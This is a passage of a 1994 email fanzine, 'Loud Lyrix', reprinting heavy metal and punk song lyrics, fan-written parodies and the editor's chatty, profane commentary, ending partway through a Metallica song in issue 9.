Parody of "Through the Never" by Metallica
All that is, was and will be
Chopped up fruit much too big to drink
Time and space never ending
Disturbing thoughts, questions pending
Limitations of methods of containing
Too quick to realize
Obligation to liquify
We hunger, oh gimmie five
All that is, ever
Ever was
Will be ever
Twisting
Turning
Through the blender
In the fridge, see past the fries
Pursuit of meat no matter where it lies
Gazing up to the shelves in the heavens
On a quest, pasta, raisins
Came to be, how it begun
All alone in the family on the run
1 pm lunch break teasing everyone
Drink it down, lunch done at half past one
All that is, ever
Ever was
Will be ever
Twisting
Turning
Through the blender
On through the blender
It must go
On through the blender
Out to the
Food digestor
It must go
On through the blender
Forever blender runs
All that is, ever
Ever was
Will be ever
What we eat
Is forever
Twisting
Turning
Through the blender
Blender
***************************** T H E E N D *******************************
Sent In by: Kain <kain@io.org>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** H E L L ' S B E L L S ***************************
by A C / D C
Album: "Back in Black"
I'm a rolling thunder
pouring rain
I'm coming down like a hurricane
My lightnin's flashing
across the sky
you're only young
but you're gonna die
Prechorus
Won't take no prisoners
won't spare no lives
nobody's putting up a fight
I got my bell
gonna take you to hell
I'm gonna get ya
Satan's get ya
Chorus
Hell's bells Hell's bells
You got me ringing
Hell's bells
my temperature's high
Hell's bells
I'll give you black sensations
up and down your spine
If you're into evil (??)
you're a friend of mine
See my white light flashing
as I split the night
cause if good's on the left
I'll stick to the right
Prechorus
**************************** T H E E N D ********************************
Typed by: Lyrics archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************************* D E U C E *********************************
by K I S S
Album: "Kiss"
Get up
And get your grandma outta here
Pick up
Old Jim is workin' hard this year
And baby
Do the things he says to do
Baby, if you're feeling good
And baby if you're feeling nice
You know your man is workin' hard
He's worth a deuce
Honey
Don't put your man behind his years
And baby
Stop cryin' all your tears
Baby
Do the things he says to do
Do it
Baby, if you're feeling good
And baby if you're feeling nice
You know your man is workin' hard
He's worth a deuce
And baby, if you're feeling good
Yes baby if you're feeling nice
You know your man is workin' hard
Yeah
****************************** T H E E N D *******************************
Typed by: KISSARMY Members <kissarmy@wkuvx1.wku.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
***************** B E Q U I C K O R B E D E A D *******************
by I R O N M A I D E N
Album: "Fear Of The Dark"
Covered in sinners and dripping
with gilt
Making you money from slime
and from filth
Parading your bellies in ivory towers
Investing our lives in your schemes
and your powers
You got to watch them - Be quick
or be dead
Snake eyes in heaven - The thief
in your head
You've got to watch them - Be quick
or be dead
Snake eyes in heaven - The thief
in your head...
Be quick!
Or be dead!
Be quick!
Or be dead
See... what's ruling all our lives
See... who's pulling the strings...
I bet you won't fall on your face...
Your belly will hold you in place
The serpent is crawling inside of
your ear
He says you must vote for what you
want to hear
Don't matter what's wrong as long as you're
alright
So pull yourself stupid and rob
yourself blind
***************************** T H E E N D *******************************
Typed by: The Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
All right, before you go, lemme just remind you of a couple things...
As you can see, I've started posting to Newsgroups, thanks to Sartre for
helping me find some groups that wouldn't mind being posted to, but I know
for a FACT that there are more groups out there, so just drop me a note if
you find any good ones, and I'll add it to the list....
We STILL are not on a LISTSERV, so tell me if you can get one for me.
And for all you contributors... thanks a lot for your help, but PLEASE,
make sure that you have this when you send in songs:
The TITLE OF THE SONG
The Title of the album
The Name of the group
And your Name, as you would like it to appear in the 'zine
Now that ain't too hard is it?
C-ya
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
End -- Loud Lyrix #7

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From: lyrix@terranet.cts.com ("G. Filicetti")
Subject: Loud Lyrix #8
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:___.'`.__.'`.__.':___.' :___.':_,' :_;:_;:_;:_;:_;
Loud Lyrix, May 10, 1994, Issue # 8
Addresses (Send mail here for subscriptions)
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
Loud Lyrix is posted weekly to the following newsgroups:
alt.music
alt.zines
rec.music.misc
rec.music.reviews
(BTW. The Editor does not have Usenet access, so all mail from Usenet
people should be send to one of the above addresses or else I will not see
it. Thank You.)
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #8, 5/10/94
-----------------------
I'm back people, this week fortunately, I finished all the shitty school
work I had a little early, so I had more time to work on the 'zine, I hope
you guys like it better this week, just for a little comparison, last
week's issue took about 20 minutes to put together, this week's took about
2 hours.
Ok, as you may have noticed, last week we started posting the 'zine to
newsgroups. I did post a little warning to each group telling 'em that Loud
Lyrix was about to invade them, and to tell me if they didn't want us xtra
kewl 'bangers around... three newsgroups did indeed reject us, they were
the HARDCORE, INDUSTRIAL and ALTERNATIVE groups... well, I willingly
complied with their demands, and quietly exited. Not that I really care
about these groups, but I did receive some flames for the posting.. and I
REALLY told 'em where to fucking go, flaming me like idiots.. God.. I mean,
what do these people want! I fucking went to the trouble of typing up a
warning, and I still get flamed... oh well, fuck 'em! I've always thought
that the fans of those three genre's in particular are usually major
assholes.. I don't wanna offend anyone, 'cause I know we have a few of you
in our ranks of readers, but most of these fans that I've had contact with,
have always hated metal for no reason in particular, or for some dumb ass
reason like.. "huh huh huh, how can you take guys in lipstick seriously?"
Fuck man.. that's what I really hate... these fuckers are just so outta
touch with modern Heavy Metal that it's not funny.. anyways.. to all you
industrialer's and alternative dudes that are reading this, I'm sorry, but
just the plain fact that you are subscribed to Loud Lyrix proves that you
are beyond the level of these sub-humans... thank you for showing some
intelligence.
Ok, enough of this nastiness... I have some good news for you all. Loud
Lyrix is now under consideration by the owner of a LISTSERV to be included
on it. I was able to find a local Toronto site for us, and it'll be a
dream come true if we are indeed accepted... I hope that we are. Anyways
if we do get on this LISTSERV, there may be chance that all of you may
have to resubscribe to the 'zine, if there is any other possible way to
circumvent this situation, I will definitely try and find it, but if not,
I just wanna warn you all now, but don't worry, how hard is it to
subscribe to a LISTSERV?
All right people, I'm just about done talking, or typing as the situation
is, I just wanna tell you all to keep on the look up for some good Usenet
newsgroups for me to start posting to. I'll humor any suggestion, as long
as it's sane.. just check 'em out for me ok? 'Cause I don't have Usenet
access, and I only post the 'zine using the Usenet-by-mail service at
decwrl.dec.com... Ok then guys.. here it is.. our longest Loud Lyrix ever
to make up for last week, clocking in at an unprecedented 713 lines!!
((Sorry about the delay this week, I don't know what the hell
is wrong with my internet feed site, something is definately
screwed up... I doubt you guyz will even get this issue!))
CONTENTS
--------
Song 1: "Two Little Girls" ("The Eye", Chapter 4) by King Diamond
Song 2: "Into The Convent" ("The Eye", Chapter 5) by King Diamond
Song 3: "Sober" by Tool
Song 4: "Angel of Death" by Slayer
Song 5: "Thrust!" by White Zombie
Song 6: "I Saw Your Mommy...." by Suicidal Tendencies
Song 7: "The Day the World Turned Dayglo" by X-Ray Spex
Song 8: "Peek And Enjoy" by Crash <st910591@pip.cc.brandeis.edu>
Song 9: "The Fire Still Burns" by Twisted Sister
Song 10: "Skulls" by The Misfits
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Editor -- I just wanna say sorry for forgetting to include a Chapter of
Kind Diamond's "The Eye" last week in the 'zine. It just completely
slipped my mind, I was in a MAJOR rush to finish the 'zine anyways.. but
don't despair... here's TWO chapters from "The Eye" just to make up for my
mistake]
Chapter 4, "The Eye", by King Diamond
********************* T W O L I T T L E G I R L S *********************
One little girl with dirty fingers
Playing with her broken doll
As the other girl is lying
Digging deep into the ground
They seem to play an evil game
A game that doesn't have a name
Both of them are in the ashes
At the stake where witches burn!
If only they could see beyond, the ground they played on
The girls are laughing still, they think they're having fun
They should be far away, watching the sun go down
One little girl picked up a necklace
>From the ashes of the witches
It had wings, and then the other
Cried out loud, "Now let me have it!!!"
The other looked without a sigh
Right into the witch's Eye
The kind of horror that she saw
Made her choke for ever more!
I wish they could have seen, beyond the ground they played on
They would be laughing still, having the best of fun
They would be far away, watching the sun go down
********************** T O B E C O N T I N U E D **********************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chapter 5, "The Eye", by King Diamond
********************* I N T O T H E C O N V E N T *********************
Madeleine is running away from herself
Afraid of the shame, she's crying out for help
To be clean again!
No one cared and no one ever will
Her feelings were not shared, she wants to break the spell
and she's going.....
Into the convent, a smile on her face
Into the darkness to hide all her sins
Wondering what could go wrong in this place
Father David:
"Welcome Sister, I'm your Chaplain
Down on your knees, and pray if you please
In this convent I'm your Master
Kiss my Cross now, dearest Sister
In the Name of..."
Madeleine is running away from herself
As father David said: "At communion you must be undressed"
Why did she go?!
Into the convent, a smile on her face
Into the darkness to hide all her sins
Wondering what could go wrong in this place
Father David:
"Come along Sister Madeleine
Unfold your wildest dreams, it's time to join and sing
Let the feast begin"
That night she awoke to find "The Eye"
On the stone cold floor, Why?, She never ever would know why
But she put it on
Next day Father David passed away
At communion time
Why, he never ever would know why
But he looked at "The Eye"
The Eye of the necklace is taking it's toll
Inside the convent a soul will rejoice
********************* T O B E C O N T I N U E D **********************
Typed by: Death Incarnate
[Editor -- Ok dudes.. I hope you are getting the story.. Madeleine is the
little girl from the last Chapter who killed the other little girl with the
necklace.. that event has haunted her.. and she goes to a convent to escape
herself.. but the priest is a nut case, he rapes the sisters at communion,
then the Eye appears and she unconsciously puts it on and kills the Priest
when he looks at it... and the sisters rejoice... but the joy is
premature.... hahahahaha.. until the next chapter dudes... goodbye!]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************************* S O B E R *********************************
by T O O L
Album: "Undertow"
There's a shadow just behind me. Shrouding every step I take.
Making every promise empty. Pointing every finger at me.
Waiting like a stalking butler, who upon the finger rests.
Murder now the path of must we, just because the son has come.
Jesus, won't you fucking whistle. Something but the past and time?
Why can't we not be sober? I just want to start this over.
Why can't we drink forever? I just want to start this over.
I am just a worthless liar. I am just an imbecile.
I will only complicate you. Trust in me and fall as well.
I will find a center in you. I will chew it up and leave.
I will work to elevate you, just enough to bring you down.
Mother Mary, won't you whisper. Something but the past and time?
Why can't we not be sober? I just want to start this over.
Why can't we sleep forever? I just want to start this over.
I am just a worthless liar. I am just an imbecile.
I will only complicate you. Trust in me and fall as well.
I will find a center in you. I will chew it up and leave.
Trust me...
Why can't we not be sober. I just want to start things over.
Why can't we sleep forever. I just want to start this over.
I want what I want...
***************************** T H E E N D *******************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Editor -- This song is one of my all time favorite songs. I love the way
it talks about the Holocaust, and Joseph Mengele is particular, who is of
course, "The Angel of Death". I remember, once in English class, we were
supposed to right a poem about the Holocaust, and I thought... SHIT! If I
could just remember the words, I'd write down Angel of Death. Too bad, I
would've liked to see the shock of my teacher when I recited it to the
class out loud! Muuuhahahaha]
********************** A N G E L O F D E A T H ************************
by S L A Y E R
Album: "Reign in Blood"
Auschwitz, the meaning of pain
The why that I want you to die
Slow death, immense decay
Showers that cleanse you of your life
Forced in
Like cattle
You run
Stripped of
Your life's worth
Human mice, for the Angel of Death
Four hundred thousand more to die
Angel of Death
Monarch to the kingdom of the dead
Sadistic, surgeon of demise
Sadist of the noblest blood
Destroying, without mercy
To benefit the Aryan race
Surgery, with no anesthesia
Fell the knife pierce you intensely
Inferior, no use to mankind
Strapped down screaming out to die
Angel of Death
Monarch to the kingdom of the dead
Infamous butcher,
Angel of Death
Pumped with fluid, inside your brain
Pressure in your skull begins pushing through your eyes
Burning flesh, drips away
Test of heat burns your skin, your mind starts to boil
Frigid cold, cracks your limbs
How long can you last
In this frozen water burial?
Sewn together, joining heads
Just a matter of time
'Til you rip yourselves apart
Millions laid out in their
Crowded tombs
Sickening ways to achieve
The holocaust
Seas of blood, bury life
Smell your death as it burns
Deep inside of you
Abacinate, eyes that bleed
Praying for the end of
Your wide awake nightmare
Wings of pain, reach out for you
His face of death staring down,
Your blood running cold
Injecting cells, dying eyes
Feeding on the screams of
The mutants he's creating
Pathetic harmless victims
Left to die
Rancid Angel of Death
Flying free
Angel of Death
Monarch to the kingdom of the dead
Infamous butcher,
Angel of Death
Angel of Death!
***************************** T H E E N D *******************************
Typed By: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Editor -- I LOVE putting in White Zombie songs just for the hell of it
once and awhile. They are one of the coolest bands around, but their words
are TOTALLY meaningless, and if you listened to the music, you probably
wouldn't really care, 'cause the words were picked to go with the groove
of the music... At least, that's what I think... hehehe.. enjoy!]
***************************** T H R U S T ! ******************************
by W H I T E Z O M B I E
Album: "La Sexorcisto: Devil Music Vol 1"
Thrust in deep there are no limitations
Wing shaped constellations everywhere now
Creep, babe, creep your life's like a suicide
And I said "I'm gonna ride it"
She don't care now, yeah! Maybe
The night ride gonna bleed, yeah! Maybe
This is what ch'all need!
Sink'n deep into your destination dig the demolition everywhere, now
Creep, babe, creep into your ring o' fire
Burned out on the wire
She don't care now, yeah! Maybe
The night ride gonna bleed, yeah! Maybe
This is what ch'all need!
Open the darkness an hour later to the minute (moment)
Move under the guilty she went deep into the corner
Snap dog city hypnotize and break the mercury
Rig test, oil inject freak hallucination
Shot through the backdoor
Buzz a whirling locomotion west straight to another
Through the sea of love, life on the line
Still in time, you will find "She has gone away"
Don't ask way, super sky
Live or die, "She has gone away."
Figure this, no more, sis-spanish kiss
"She has gone away."
Thrust into a diamond generation
Dexceleration everywhere
Up from hell a missile to the moon and zero to the 3 and 4 and 5 and
Yeah! Maybe
This is what y'all need!
How fast can you really move me come on, come on, come on, come on, yeah!
A ritual electro-nation, yow!
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Editor -- Wow! I seem to be commenting on every song.. oh well... this
song here shocked me the first time I heard it. I immediately took a
liking to it... it's so funny, and sick... true genius!]
***************** I S A W Y O U R M O M M Y . . . *******************
by S U I C I D A L T E N D E N C I E S
Album: "Suicide's An Alternative"
Yesterday, as I went out of the house
I saw a body lying down quiet as a mouse
Lying face down in the sewer
I got up closer and realized that I knew her
All her organs coming from her inside
Slashed up skin sliced up hide
Turned over and saw the tire tracks on her head
That's when I realized she was dead
I saw your mommy and your mommy's dead
I saw your mommy and your mommy's dead
Twisted body chopped off feet
Her body was minced meat
Bugs crawling on her arms
She's dead, can't do no harm
Gnarled up legs, broken and bent
Her last breath has been spent
I wonder, how much would I pay
To get your mom killed in such a bloody way
I saw your mommy and your mommy's dead
I watched her as she bled
Chewed off toes on her chopped off feet
I took a picture cuz I thought it looked neat
But the thing I liked seeing the best
Was the rodents using her hair as a nest
I saw your mommy and your mommy's dead
I saw your mommy and your mommy's dead
Twisted body chopped off feet
Her body was minced meat
Bugs crawling on her arms
She's dead, can't do no harm
Gnarled up legs, broken and bent
Her last breath has been spent
I know, that she won't really be missed
But make it look good at her funeral
and giver her a little kiss
I saw your mommy and your mommy's dead
I saw her lying in a pool of red
I think it's the greatest thing I'll ever see
Your dead mommy right in front of me
I'll always remember her lying dead on the floor
I hope she dies twenty times more
I saw your mommy and your mommy's dead
I saw your mommy and your mommy's dead
Twisted body chopped off feet
Her body was minced meat
Bugs crawling on her arms
She's dead, can't do no harm
Gnarled up legs, broken and bent
Her last breath has been spent
I wonder, how much would I pay
To get your mom killed in such a bloody way
***************************** T H E E N D *******************************
Transcribed by: ThinLizzy
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Preface: I know I don't really share most of the tastes expressed by Loud
Lyrix, but I like to invade lists with my own perverse tastes whenever
possible :-). I happened to have the lyrics from an old X-ray Spex album
near my computer, and I think they're pretty funny and sharp. Besides, this
great late '70s band definitely was LOUD! -- Richard
[Editor - just to let everyone know, we aren't as strict as you think about
posting ONLY heavy metal lyrics in Loud Lyrix, as long as you don't expect
us to print some pop or A/C songs, don't worry about the genre you send in,
as long as it's funny or makes a statement, I'll probably put it in, it's
always worth a shot to ask right?]
***** T H E D A Y T H E W O R L D T U R N E D D A Y G L O *******
by X - R A Y S P E X
Album: "Germ Free Adolescents"
I clambered over mounds and mounds
Of polystyrene foam
Then fell into a swimming pool
Filled with fairy snow
[Chorus:]
And watched the world turn
Day-Glo you know you know
The world turned day-glo you know
I wrenched the nylon curtains back
As far as they would go
Then peered through perspex window panes
At the acrylic road
[Chorus]
I drove my polypropylene car
On wheels of sponge
Then pulled into a Wimpy Bar
To have a rubber bun
[Chorus]
The X-rays were penetrating
Through the latex breeze
Synthetic fibre see-thru leaves
Fell from the rayon trees
[Chorus]
***************************** T H E E N D *******************************
Typed By: Richard Singer <wk03814@worldlink.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
A note to the parody non-fans...the parodies I write are in no way meant to
make a mockery of Metallica or their songs. I respect the guys' work as
much as you. I just do it 'cause it's fun trying to come up with really
funny stuff, 'cause lots of people *do* like 'em, and 'cause if my spirits
are low, it helps lift 'em quite well! We're all here ta have some fuckin'
fun, RIGHT?!?! -- Crash
[Editor -- Right on Crash! I personally bust a gut every time I read a one
of these parodies, and I hope you dudes out there like 'em too. Thanks to
Kain for sending them in almost every week... let's hope these guys don't
run out of ideas!]
********************** P E E K A N D E N J O Y ************************
by C R A S H
Album: "{None}"
Always alone, every Saturday night
Lookin' for *her* when her house is alight
>From his window, sees it without fail
All the looks on her face from her orgasmic wails!
Fucking! Everywhere...
Crying! Pulling hair...
Coming! A thousand screams...
Fucking! Everywhere...
Crying! Pulling hair...
COMING! A thousand screams!!
Jerkin'! Peek and enjoy!! (4x)
She's a sex machine, yeah that's her style...
But she's got a man who can go the last mile!
Tits they bounce, as she rides him quicker!
She starts to buck her hips, he swigs his liquor!!
Fucking! Everywhere...
Crying! Pulling hair...
Coming! A thousand screams...
Fucking! Everywhere...
Crying! Pulling hair...
CUMMING! A thousand screams!!
Jerkin'! Peek and enjoy!! (4x)
Her climax has died, and she's sprawled on the floor.
But *he's* just not fulfilled, he's always hungry for more!
Soon they're up again and building speed...
And he slows down his jerks, so he can follow her lead!
Fucking! Everywhere
Crying! Pulling hair...
Coming! A thousand screams...
Fucking! Everywhere...
Crying! Pulling hair...
CUMMING! A thousand screams!!
Jerkin'! Peek and enjoy!! (4x)
(End riffs)
***************************** T H E E N D *******************************
Typed by: Crash <st910591@pip.cc.brandeis.edu>
Sent in by: Kain <kain@io.org>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This band is one of my all time favourites and this track one of the most
memorable for me - I used to sing it to myself after a break-up with a
long-term girlfriend when I was thinking of the "other guy" {grind teeth,
etc}. No, I never did manage to get him... -- John Breakwell
**************** T H E F I R E S T I L L B U R N S ******************
by T W I S T E D S I S T E R
Album: "Come Out And Play"
You thought it was gone
But the fire goes on
And I thought you knew me
I told you before
'Til I settle the score
That I'll never run free
I have enough pain and anger in my brain
To last many lifetimes
Yet still it grows, and the more that it shows
I won't have peace of mind
The fire, the fire still burns
The fire, the fire still burns
I have a dream
And as strange as it seems
There's no embers glowing
The fire's gone out
And there's no need to shout
'cause no angers showing
But it's not true, nothing I ever do
Seems to ease my fury
Get out of my way
I'm the hangman today
And the judge and jury
The fire, the fire still burns
The fire, the fire still burns
The fire, the fire still burns ((repeat a lot))
***************************** T H E E N D *******************************
Typed by: John Breakwell <johnbrea@microsoft.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Could you post the lyrics to The Exploited's "Punks Not Dead" please? -Chuck
[Editor -- As I told Chuck, I looked, and looked, and I just couldn't find
that song in any of the lyrics archives that I frequent, so maybe one of
you dudes out there in readership land can help old Chucky out]
****************************** S K U L L S ********************************
by M I S F I T S
Album: "Walk Among Us"
Corpses all hang headless and limp
Bodies with no surprises
And the blood drains down like devil's rain
We'll bathe tonight...
I want your skulls
I need your skulls
Demon i am and face i peel
To see skin turned inside out cause
Gotta have you on my wall
Gotta have you on my wall cause
I want your skulls
I need your skulls
Collect the heads of little girls and put em on my wall
Hack the heads off little girls and put em on my wall
I want your skulls
I need your skulls
***************************** T H E E N D *******************************
Typed by: Chuck <hazlett@twain.ucc.umass.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok dudes.. that's a wrap to Loud Lyrix #8, hope you all enjoyed it, I
luckily had a little break from my "English Homework from Hell", so I made
sure you guys all had a good solid Loud Lyrix to make up for last week's
mediocre issue.
But I have bad news yet.. next week, or the week after that, there MAY not
be a Loud Lyrix.. I hope that I will find some time to piece together
SOMETHING, but I can't guaranteed anything.. if I can, I will try and get
one out, but it might be a couple days late, so don't worry about it, I
thought it would be best to warn you all.
Ok, that's it people... keep sending those submissions in, and in a couple
of weeks, as soon as May is over, I will be FREE! No more essays and shit,
and then we'll REALLY get this 'zine rocking!
C-ya
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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Loud Lyrix, May 17, 1994, Issue # 9
Addresses (Send mail here for subscriptions)
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
Loud Lyrix is posted weekly to the following newsgroups:
alt.music
alt.zines
alt.etext
rec.mag
rec.music.misc
rec.music.reviews
(BTW. The Editor does not have Usenet access, so all mail from Usenet
people should be send to one of the above addresses or else I will not see
it. Thank You.)
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #9, 5/17/94
-----------------------
Here we are again people, back again, like always. Whew! What a wonderful
and horrible week it's been. The best part about this week has been of
course the amazing win of the Toronto Maple Leafs to shut down the San
Jose Sharks, after being down 3 games to 2, and to come back and take it
all, what a feat! I went to see the last game at Skydome on the JumboTron.
Most of you American's should know that building, the home of the two time
World Series champion Toronto Blue Jays!! Anyways, it's now on to
Vancouver, it's gonna be a wicked series, not a fucking boring one like
the Sharks. Vancouver ain't a wimp team, and neither is the Leafs, so this
is gonna be mighty interesting. (Hope SOME of you people out there are
even remotely interested in hockey, it does RULE!)
It now looks like I'm gonna be seeing The Scorpions on June 25. They are
playing at the Kingswood Music Theatre in Canada's Wonderland. It's only a
$12 show, should be pretty good. I'm still going to see the
Metallica/Suicidal/Danzig show, and the Pantera/Sepultura/Biohazard show.
Oh yeah, hehehehe... it looks like they are gonna be showing the Final
Star Trek Episode at the Skydome! I got my tickets, and I can't wait for
that.
Well, I guess that what's new this week, and I had to write a friggin'
English essay comparing two plays. That was almost the end of me...
anyways, it's pretty lucky that I actually was able to get this issue of
Loud Lyrix out... praise the Lord people!
Ok people, I think that more than a few you are probably bored to hell
right now. I'll be done soon. There were six reader submissions this week,
that's really good, thanks guys for the effort.... it looks like we are
gonna be getting hooked up with a listserv soon, I had another response
from a listserv in Colorado, and they wanted to see our ad. But I would
really rather get hooked up with the local one, but oh well, any one will
do.... I've added two more newsgroups to our list, rec.mag and alt.etext,
hopefully we won't be rejected by these guys, but who knows, I have get to
really do some looking for appropriate newsgroups, but don't despair, I
will as soon as this shit called school calms down!
BTW This is for the guy that mailed "Fade To Black" to me, I
just wanna tell you that I checked the back issues, and it
seems that I printed that song in Issue #4, so I put in "For
Whom the Bells Tolls" instead, if you want ish #4, just mail
me ok?
Ok people, that's it, I've kept you long enough... here's the lyrix, and a
little background info on a Norwegian band called Darkthrone, thanks for
listening, l8r!
CONTENTS
--------
Song 1: "Father Picard" ("The Eye", Chapter 6) by King Diamond
Song 2: "For Whom The Bell Tolls" by Metallica
Song 3: "The Ballad of the Bobbit Hillbillies" by {Unknown}
Song 4: "Under a Funeral Moon" by Dark Throne
Song 5: "Without Fear" by Sabaoth
Song 6: "Warning" by Black Sabbath
Song 7: "Loser" by Beck
Song 8: "Clones" by Alice Cooper
Song 9: "Turbo Lover" by Judas Priest
Song 10: "Under Siege (Regnum Irae)" by Sepultura
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chapter 6, "The Eye", by King Diamond
********************** F A T H E R P I C A R D **************************
A new chaplain has arrived
Madeleine and a few other nuns
At the convent will meet him tonight
Father Picard:
"Welcome to My quarters, do come inside
Welcome dearest sisters, come into the light!"
"I'm Father Picard, I'm taking over
Things will be different here
You are the four GOD has chosen
To be his angels in white
Drink my sweet Holy Wine!!"
"Oh yeah come on it's not a crime
>From now on every Sunday this time
You will attend this communion of mine"
Father Picard is hiding something
A white powder for the wine
Father Picard:
"I'm Father Picard, I'm taking over
Things will be different here
You are the four GOD has chosen
To be his angels in white
Drink my sweet Holy Wine!!"
The nuns freak out, lust in their eyes
>From now on every Sunday this time
Father Picard's in control of their minds
Father Picard was hiding something
The white powder in the wine
********************* T O B E C O N T I N U E D ***********************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********** F O R W H O M T H E B E L L T O L L S *****************
by M E T A L L I C A
Album: "Ride The Lightning"
Make his fight on the hill in the early day
Constant chill deep inside
Shouting gun, on they run through the endless grey
On the fight, for they are right, yes, by who's to say?
For a hill men would kill, why? They do not know
Suffered wounds test there their pride
Men of five, still alive through the raging glow
Gone insane from the pain that they surely know
chorus:
For whom the bell tolls
Time marches on
